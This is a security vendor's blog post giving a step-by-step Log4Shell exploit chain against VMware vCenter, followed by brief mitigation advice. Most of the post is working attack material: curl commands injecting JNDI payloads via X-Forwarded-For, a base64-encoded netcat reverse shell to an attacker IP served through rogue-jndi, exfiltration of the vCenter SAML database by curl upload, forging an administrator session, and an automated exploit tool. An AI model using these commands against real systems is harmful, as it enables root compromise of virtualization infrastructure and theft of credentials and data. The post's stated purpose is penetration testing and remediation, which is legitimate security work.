A vulnerability was recently disclosed for the Java logging library, Log4j. The vulnerability is wide-reaching and affects both open source projects and enterprise software, meaning we need to understand how to ID and remediate it in our network environments.

Shortly after the issue was disclosed, VMWare announced that several of their products were affected. A Proof of Concept has been released for VMWare vCenter Server instances and explains how this vulnerability allows attackers to execute code as an unauthenticated user using a single HTTP request. See more on the original Proof of Concept here:

Using the Log4j vulnerability and Proof of Concept, we can easily obtain a reverse shell on affected VMWare vCenter instances and more. Code execution happens in the context of root on Linux systems and results in the complete compromise of virtualization infrastructure on internal networks. Below, we’ll show you how to do it.

Exploitation

First, let’s step through the exploitation process manually to break down the vulnerability. We need to initially use a cURL command, similar to the one below, to get the SSO login realm from the affected instance.

curl -ski https://10.100.100.5/ui/login | grep Location

In the “Location” header, you’ll see a long URL that contains the server’s DNS hostname and the vCenter SSO login realm. The login realm you’re looking for is highlighted in the screenshot below:

Log4J Location Header SSO Login Realm

In many corporate environments, this realm will most often be vshpere.local

The vulnerability is in the X-Forwarded-For header on the vCenter SSO login page. After you’ve collected your SSO realm value, we’ll craft a second cURL command to check if the target host is vulnerable. The cURL command will look something like this:

curl --insecure  -vv -H "X-Forwarded-For: \\${jndi:ldap://vcentertest.fccszs.dnslog.cn:1389/lol}" "https://10.100.100.5/websso/SAML2/SSO/vcenter.lab?SAMLRequest="

Replace the value vcentertest.fccszs.dnslog.cn with a hostname generated on this site: http://dnslog.cn.

You aren’t limited to only using dnslog.cn for this step. Ideally, we recommend you set up your own Burp Collaborator or Interactsh server to test for this vulnerability.

Next, replace the value vcenter.lab with the SSO login realm you collected earlier. Issue the cURL command and look for a DNS callback in DNSLog. If the host is vulnerable, you should see something like this come through:

Log4J DNSLog.cn

Now that you know the target is vulnerable, we are going to try and get a reverse shell so you can interact with the underlying Linux operating system. First, you need to clone and build the tool, rogue-jndi from the GitHub repository linked below:

Make sure you have Maven and Java installed before attempting to compile this tool.

This one-liner should do everything you need:

git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

Once the Jar is compiled, you will have to craft a command to deliver the reverse shell. Big thanks to @w3bd3vil on Twitter for figuring this part out. A link to their original tweet is here:

vCenter has nc installed out-of-the-box, so you can easily craft a reverse shell and Base64 encode it using the one-liner below. Modify the command to fit your needs, replacing the IP address and port.

echo "nc -e /bin/sh 192.168.11.50 444" | base64

With that Base64 output, build your command in rogue-jndi:

java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjExLjUwIDQ0NAo=}|{base64,-d}|{bash,-i}" --hostname "192.168.11.50"

Replace the Base64 encoded string after “echo” in the command above with the one you generated. Replace the hostname variable with the public or local IP of the host you will run the command from. Then start your rogue-jndi LDAP server up.

Log4j rogue-jndi LDAP Server

Lastly, you need to issue a cURL command to get a reverse shell.

curl --insecure -vv -H "X-Forwarded-For: \${jndi:ldap://192.168.11.50/o=tomcat}" "https://10.100.100.5/websso/SAML2/SSO/vcenter.lab?SAMLRequest="

Replace the values above with the relevant variables you’ve collected while building this exploit chain. Start up a netcat listener on the port you specified while building your reverse shell and issue the cURL command. If you did everything correctly, you should see vCenter grab the payload from rogue-jndi and then get a callback:

Log4j - vCenter rogue-indi Payload

I’ve got a reverse shell. What’s next?

This is all well and good, but you still can’t do much without credentials to locally interact with the vCenter API or admin console. That’s where this article from horizon3.ai comes in.

With local filesystem access as root, you can now exfiltrate the vCenter SAML signing database to generate an administrative login session for vCenter. The link above provides in-depth details surrounding exploitation. We‘re going to go over the steps outlined in the article relative to our attack path. At the file path listed below on Linux vCenter systems, you’ll find a file titled data.mdb:

/storage/db/vmware-vmdir/data.mdb

Using cURL or netcat, we can exfiltrate this file from the vCenter host. The easiest way to do this manually is to first establish a reverse shell using the steps detailed in the previous section. Then start an HTTP server accepting uploads on your attacker host. I’m going to use the Python3 gist below to serve a webserver that accepts file uploads:

Issue the following command on your attacking host once the script has been downloaded:

python3 SimpleHTTPServerWithUpload.py

With your reverse shell and a web server listening, execute the following command via your reverse shell to exfiltrate the SAML signing database:

curl -F “file=@/storage/db/vmware-vmdir/data.mdb” http://192.168.11.50:8000/

You’ll see a POST request come in on your HTTP server indicating that the file has been uploaded. Check the present working directory of your HTTP server and you’ll find the database after a moment.

Log4j Python3 HTTP POST

Now, using the GitHub repository from horizon3.ai, you can generate an administrator login session for the compromised vCenter host:

Clone this repository and install the required dependencies. Here’s a one-liner to make the process a little quicker:

git clone https://github.com/horizon3ai/vcenter_saml_login && cd vcenter_saml_login && pip3 install -r requirements.txt

Copy the data.mdb file you just exfiltrated to the root of the repository and execute a command similar to the following:

python3 vcenter_saml_login.py -p data.mdb -t 10.100.100.5
You will need to execute this command while connected to the internal network hosting the vCenter instance, via a proxy or from your attacker host if vCenter is exposed to the internet.

Note that you’ll need to replace the target variable with the IP of the targeted vCenter host. The resulting output will look something like this:

Log4j - IP Targeted vCenter Host Output

Next, open up your web browser and navigate to the vCenter login page.

Log4j - Web Browser vCenter Login

Edit the cookies stored for the site using developer tools in your preferred browser.

Log4j - Cookie Edit

Note that you need to set the path to /ui for this to work. Then, reload the page with only /ui appended to the end of the URL:

Log4j - URL Append /ui

And voila! You’re now an administrator in the vSphere Client.

Automating the Process

You have now manually exploited and compromised an unpatched VMWare vCenter instance. In true infosec fashion, let’s automate it. The repository I’ve released to exploit the attack path detailed in this article can be found at the link below:

With this repository, you can quickly and easily exploit vCenter. The easiest way to set the project up is using Docker. First, clone the repository using the following command:

git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter

Then, navigate to the root directory of the repo and execute the command below to build the Docker container:

docker build -t log4jcenter .

Next use “docker run” commands to exfiltrate SAML signing databases and establish reverse shells. An example command performing exfiltration is listed below:

docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter -t 10.100.100.1 -I 192.168.1.1 -e

Further information surrounding installation and usage is included in the repository.

High-priority risk. Immediate attention required

We recommend organizations immediately mitigate this vulnerability using a Python script provided by VMWare. Information surrounding mitigation can be found at this link:

Note that VMWare has not yet released a patch for this issue, but will do so within the next week. For the time being, follow the directions in the KB, implement the fix and then immediately patch once the vendor has released the update.

This issue is extremely high risk and allows low-skilled attackers to compromise the backbone of corporate networks. With access to the vCenter administrative console and the local vCenter filesystem as root, it is effortless for attackers to further extract domain credentials and sensitive company information. I expect to see ransomware operators using this technique in the coming months to quickly escalate privileges on internal networks.

Our team at Sprocket continues to work on other exploitation paths surrounding this vulnerability that can lead to more intense internal network compromise.

In addition to using the KB linked above to mitigate this issue, we also recommend organizations implement the following security controls wherever possible:

  • Require a bastion host to access high-value vCenter instances.
  • Implement the principle of least privilege wherever possible.
  • Never expose administrative consoles like vCenter to the internet whatsoever.
  • Implement penetration testing or red-team efforts on internal networks to identify high-risk systems.

New vulnerabilities like Log4j will always continue to surface. Understanding how to ID them – and fix them – in real-time should be an essential part of your cybersecurity strategy. If you want to learn more about how Continuous Penetration Testing can protect your organization, send us a note any time.